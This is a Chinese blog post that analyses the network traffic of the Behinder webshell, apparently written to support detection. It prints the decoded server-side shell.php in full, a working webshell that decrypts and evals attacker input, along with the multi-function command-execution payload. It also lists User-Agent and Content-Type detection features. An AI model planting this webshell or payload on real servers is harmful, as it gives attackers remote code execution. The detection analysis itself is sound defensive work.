在命令执行的流量中,除了加密方式与前面的一样外,payload分为了三个函数,从上往下分别是字符编码函数,主函数(命令执行函数),加密函数,与函数外的输入信息

从最下面开始

$cmd="Y2QgL3d3dy93d3dyb290L3BrLyA7bHM="; // 设置要执行的命令,这里是 base64 编码的字符串,解码后为 "cd /www/wwwroot/pk/ ;ls"
$cmd=base64_decode($cmd); // 对命令进行 base64 解码
$path="L3d3dy93d3dyb290L3BrLw=="; // 设置命令的执行路径,这里是 base64 编码的字符串,解码后为 "/www/wwwroot/pk/"
$path=base64_decode($path); // 对路径进行 base64 解码
main($cmd,$path); // 调用主函数并传入命令和路径参数

cmd与path变量分别被传入了对应命令与路径,而后调用了main函数

function main($cmd,$path) // 主函数
{
   ...省略
    $c = $cmd; // 初始化执行的命令为传入的命令
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { // 如果操作系统是 Windows
        $c = $c . " 2>&1\n"; // 将命令追加错误重定向,以便捕获错误信息
    }

命令在这里初始化,做了系统判断,传入后续判断

if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { // 如果 system 函数可调用且未被禁用
        ob_start(); // 开始输出缓冲
        system($c); // 执行系统命令
        $kWJW = ob_get_contents(); // 获取输出缓冲内容
        ob_end_clean(); // 清空并关闭输出缓冲
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { // 如果 proc_open 函数可调用且未被禁用
        $handle = proc_open($c, array( // 打开进程并执行命令
            array('pipe', 'r'), // 标准输入
            array('pipe', 'w'), // 标准输出
            array('pipe', 'w')  // 标准错误
        ), $pipes);
        $kWJW = NULL; // 初始化输出变量为空
        while (! feof($pipes[1])) { // 当输出管道的标准输出未结束
            $kWJW .= fread($pipes[1], 1024); // 读取标准输出内容
        }
        @proc_close($handle); // 关闭进程
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { // 如果 passthru 函数可调用且未被禁用
        ob_start(); // 开始输出缓冲
        passthru($c); // 执行系统命令并直接输出结果
        $kWJW = ob_get_contents(); // 获取输出缓冲内容
        ob_end_clean(); // 清空并关闭输出缓冲
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { // 如果 shell_exec 函数可调用且未被禁用
        $kWJW = shell_exec($c); // 执行系统命令并获取输出
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { // 如果 exec 函数可调用且未被禁用
        $kWJW = array(); // 初始化输出变量为数组
        exec($c, $kWJW); // 执行系统命令并将结果存入数组
        $kWJW = join(chr(10), $kWJW) . chr(10); // 将数组元素用换行符连接成字符串
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { // 如果 exec 函数可调用且 popen 函数未被禁用
        $fp = popen($c, 'r'); // 打开进程,并返回文件指针
        $kWJW = NULL; // 初始化输出变量为空
        if (is_resource($fp)) { // 如果文件指针是一个有效的资源
            while (! feof($fp)) { // 当文件指针未到达文件末尾
                $kWJW .= fread($fp, 1024); // 读取文件内容
            }
        }
        @pclose($fp); // 关闭进程
    } else {
        $kWJW = 0; // 如果所有执行命令的函数都不可用,则将输出变量设置为 0
        $result["status"] = base64_encode("fail"); // 设置结果状态为失败,并将其 base64 编码
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); // 设置结果消息为指定的字符串,并将其 base64 编码
        $key = $_SESSION['k']; // 获取会话密钥
        echo encrypt(json_encode($result)); // 对结果进行加密、JSON 编码并输出
        return; // 结束函数执行
    }

判断system,proc_open,passthru,shell_exec,exec,popen是否可用,并尝试执行命令,如果都不可用则将fail编码入json加密输出

如果其中某个函数可用则将执行结果传入$kWJW变量

$result["status"] = base64_encode("success"); // 设置结果状态为成功,并将其 base64 编码
$result["msg"] = base64_encode(getSafeStr($kWJW)); // 将输出内容进行安全处理并 base64 编码
echo encrypt(json_encode($result)); // 对结果进行加密、JSON 编码并输出

退出判断将执行结果传入getSafeStr函数判断字符集类型后在经过base64编码后传入数组编码为json,传入encrypt进行加密之后再输出。

return openssl_encrypt($data, "AES128", $key); // 使用 OpenSSL 加密数据

文件操作

蝎子的文件操作似乎都复用了同一个payload且其中有大量的注解,这就导致了其发送的流量显著大于其他操作,所以我们主要来看返回信息

目录读取

通过解密后到我们眼前的依旧是熟悉的json

{"status":"c3VjY2Vzcw==","msg":"W3sibmFtZSI6IkxnPT0iLCJzaXplIjoiTkRBNU5nPT0iLCJsYXN0TW9kaWZpZWQiOiJNakF5TkMwd05DMHhPU0F4TkRvMU9Ub3lNQT09IiwicGVybSI6IlVpOHRMMFU9IiwidHlwZSI6IlpHbHlaV04wYjNKNSJ9LHsibmFtZSI6IkxpND0iLCJzaXplIjoiTkRBNU5nPT0iLCJsYXN0TW9kaWZpZWQiOiJNakF5TkMwd05DMHhOU0F5TVRvek5Ub3dPQT09IiwicGVybSI6IlVpOVhMMFU9IiwidHlwZSI6IlpHbHlaV04wYjNKNSJ9LHsibmFtZSI6ImNtVmhaRzFsTG5Cb2NBPT0iLCJzaXplIjoiT1RjPSIsImxhc3RNb2RpZmllZCI6Ik1qQXlOQzB3TkMweE5TQXlNVG96TkRvek5BPT0iLCJwZXJtIjoiVWk4dEx5MD0iLCJ0eXBlIjoiWm1sc1pRPT0ifSx7Im5hbWUiOiJjMmhsYkd3dWNHaHciLCJzaXplIjoiTmpReiIsImxhc3RNb2RpZmllZCI6Ik1qQXlOQzB3TkMweE9TQXhORG8xT1RveU1BPT0iLCJwZXJtIjoiVWk4dEwwVT0iLCJ0eXBlIjoiWm1sc1pRPT0ifV0="}

当将msg的内容进行base64解码后可以看到这是个套娃

[{"name":"Lg==","size":"NDA5Ng==","lastModified":"MjAyNC0wNC0xOSAxNDo1OToyMA==","perm":"Ui8tL0U=","type":"ZGlyZWN0b3J5"},{"name":"Li4=","size":"NDA5Ng==","lastModified":"MjAyNC0wNC0xNSAyMTozNTowOA==","perm":"Ui9XL0U=","type":"ZGlyZWN0b3J5"},{"name":"cmVhZG1lLnBocA==","size":"OTc=","lastModified":"MjAyNC0wNC0xNSAyMTozNDozNA==","perm":"Ui8tLy0=","type":"ZmlsZQ=="},{"name":"c2hlbGwucGhw","size":"NjQz","lastModified":"MjAyNC0wNC0xOSAxNDo1OToyMA==","perm":"Ui8tL0U=","type":"ZmlsZQ=="}]
import json
import base64

def decode_base64_json(input_json):
    try:
        # 解析 JSON 输入
        json_data = json.loads(input_json)

        # 对每个对象的值进行 Base64 解码
        decoded_json = []
        for obj in json_data:
            decoded_obj = {}
            for key, value in obj.items():
                if isinstance(value, str):
                    try:
                        decoded_value = base64.b64decode(value).decode('utf-8')
                        decoded_obj[key] = decoded_value
                    except:
                        # 如果解码失败,则保留原始值
                        decoded_obj[key] = value
                else:
                    decoded_obj[key] = value
            decoded_json.append(decoded_obj)

        return decoded_json
    except json.JSONDecodeError as e:
        return [{"error": "Invalid JSON format"}]

if __name__ == "__main__":
    # 提示用户输入 JSON 数组字符串
    input_json = input("请输入JSON数组字符串:")

    # 调用函数进行解码并打印结果
    decoded_json = decode_base64_json(input_json)
    print("解码后的JSON内容:")
    print(json.dumps(decoded_json, indent=4))

通过脚本解码后

[
    {
        "name": ".",
        "size": "4096",
        "lastModified": "2024-04-19 14:59:20",
        "perm": "R/-/E",
        "type": "directory"
    },
    {
        "name": "..",
        "size": "4096",
        "lastModified": "2024-04-15 21:35:08",
        "perm": "R/W/E",
        "type": "directory"
    },
    {
        "name": "readme.php",
        "size": "97",
        "lastModified": "2024-04-15 21:34:34",
        "perm": "R/-/-",
        "type": "file"
    },
    {
        "name": "shell.php",
        "size": "643",
        "lastModified": "2024-04-19 14:59:20",
        "perm": "R/-/E",
        "type": "file"
    }
]

文件读取

尝试读取shell.php

{"status":"c3VjY2Vzcw==","msg":"UEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd29nSUNBZ0pHdGxlVDBpWlRRMVpUTXlPV1psWWpWa09USTFZaUk3SUM4djZLK2w1YStHNlpLbDVMaTY2TCtlNW82bDVhK0c1NkNCTXpMa3ZZMXRaRFhsZ0x6bm1vVGxpWTB4TnVTOWplKzhqT203bU9pdXBPaS9udWFPcGVXdmh1ZWdnWEpsWW1WNWIyNWtDZ2trWDFORlUxTkpUMDViSjJzblhUMGthMlY1T3dvSmMyVnpjMmx2Ymw5M2NtbDBaVjlqYkc5elpTZ3BPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlwYm5admEyVW9KSEFwSUh0bGRtRnNLQ1J3TGlJaUtUdDlmUW9nSUNBZ1FHTmhiR3hmZFhObGNsOW1kVzVqS0c1bGR5QkRLQ2tzSkhCaGNtRnRjeWs3Q2o4K0NnPT0="}

base64

PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+G56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8+Cg==

再解码一次

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

当对特定文件进行读取的时候,蝎子会将读取到的文件进行两次base64编码,而后传入数组做json编码后加密

文件下载

蝎子的文件下载与文件读取的流量是不一样的,当只是读取文件时他所返回的json结构和其他的别无二致,但如果使用文件下载则会“头尾颠倒”

{"msg":"UEQ5d2FIQUtRR1Z5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLYzJWemMybHZibDl6ZEdGeWRDZ3BPd29nSUNBZ0pHdGxlVDBpWlRRMVpUTXlPV1psWWpWa09USTFZaUk3SUM4djZLK2w1YStHNlpLbDVMaTY2TCtlNW82bDVhK0c1NkNCTXpMa3ZZMXRaRFhsZ0x6bm1vVGxpWTB4TnVTOWplKzhqT203bU9pdXBPaS9udWFPcGVXdmh1ZWdnWEpsWW1WNWIyNWtDZ2trWDFORlUxTkpUMDViSjJzblhUMGthMlY1T3dvSmMyVnpjMmx2Ymw5M2NtbDBaVjlqYkc5elpTZ3BPd29KSkhCdmMzUTlabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9JbkJvY0RvdkwybHVjSFYwSWlrN0NnbHBaaWdoWlhoMFpXNXphVzl1WDJ4dllXUmxaQ2duYjNCbGJuTnpiQ2NwS1FvSmV3b0pDU1IwUFNKaVlYTmxOalJmSWk0aVpHVmpiMlJsSWpzS0NRa2tjRzl6ZEQwa2RDZ2tjRzl6ZEM0aUlpazdDZ2tKQ2drSlptOXlLQ1JwUFRBN0pHazhjM1J5YkdWdUtDUndiM04wS1Rza2FTc3JLU0I3Q2lBZ0lDQUpDUWtnSkhCdmMzUmJKR2xkSUQwZ0pIQnZjM1JiSkdsZFhpUnJaWGxiSkdrck1TWXhOVjA3SUFvZ0lDQWdDUWtKZlFvSmZRb0paV3h6WlFvSmV3b0pDU1J3YjNOMFBXOXdaVzV6YzJ4ZlpHVmpjbmx3ZENna2NHOXpkQ3dnSWtGRlV6RXlPQ0lzSUNSclpYa3BPd29KZlFvZ0lDQWdKR0Z5Y2oxbGVIQnNiMlJsS0NkOEp5d2tjRzl6ZENrN0NpQWdJQ0FrWm5WdVl6MGtZWEp5V3pCZE93b2dJQ0FnSkhCaGNtRnRjejBrWVhKeVd6RmRPd29KWTJ4aGMzTWdRM3R3ZFdKc2FXTWdablZ1WTNScGIyNGdYMTlwYm5admEyVW9KSEFwSUh0bGRtRnNLQ1J3TGlJaUtUdDlmUW9nSUNBZ1FHTmhiR3hmZFhObGNsOW1kVzVqS0c1bGR5QkRLQ2tzSkhCaGNtRnRjeWs3Q2o4K0NnPT0=","status":"c3VjY2Vzcw=="}

且会有两个包,第一个包用于读取文件,第二个包确认

特征

Content-type标签

php:application/x-www-form-urlencoded

aspx:application/octet-stream

asp:无

user-Angent

整理以后是

好的,以下是以表格形式列出的所有用户代理(user agents):

user-Angent
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 89.0.4389.114 Safari/ 537.36
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/ 20100101 Firefox/ 87.0
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 96.0.4664.110 Safari/ 537.36
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 99.0.4844.74 Safari/ 537.36 Edg/ 99.0.1150.55
Mozilla/ 5.0 (Windows NT 10.0; WOW64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 96.0.4664.110 Safari/ 537.36
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/ 20100101 Firefox/ 98.0
Mozilla/ 5.0 (Windows NT 10.0) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 84.0.4147.125 Safari/ 537.36
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 84.0.4147.125 Safari/ 537.36
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/ 20100101 Firefox/ 79.0
Mozilla/ 5.0 (Windows NT 6.3; Trident/ 7.0; rv:11.0) like Gecko

总共有10个UA

相对都比较老了

在不修改代码的情况下这些都能算强特征,同ua+Content-type理论上能确定是否为冰蝎客户端

文件操作

因为蝎子将文件操作都整合到了一个payload中且其中还有大量注解,所以有关文件操作的流量都会非常大。

总结

冰蝎无论是客户端到服务端还是服务端到客户端都有加密,且基本都使用base64编码,一般情况下会将需要的信息进行一次base64编码后加入数组转为json再加密输出。

冰蝎的特征主要在于Content-type标签,user-Angent标签,与他的文件操作

通过阅读代码我们可以知道在冰蝎4.0客户端的Content-type与user-Angent基本固定,前者通过文件类型确定php为application/x-www-form-urlencoded,aspx为application/octet-stream后者为固定的10个ua,且都相对较老

而冰蝎在进行文件操作的时候因为所有与文件有关的操作都整合到了同一个payload中,且内容有大量的注解,所以导致其流量包相对较大,单个发送包在400kb上下

0 条评论
某人
表情
可输入 255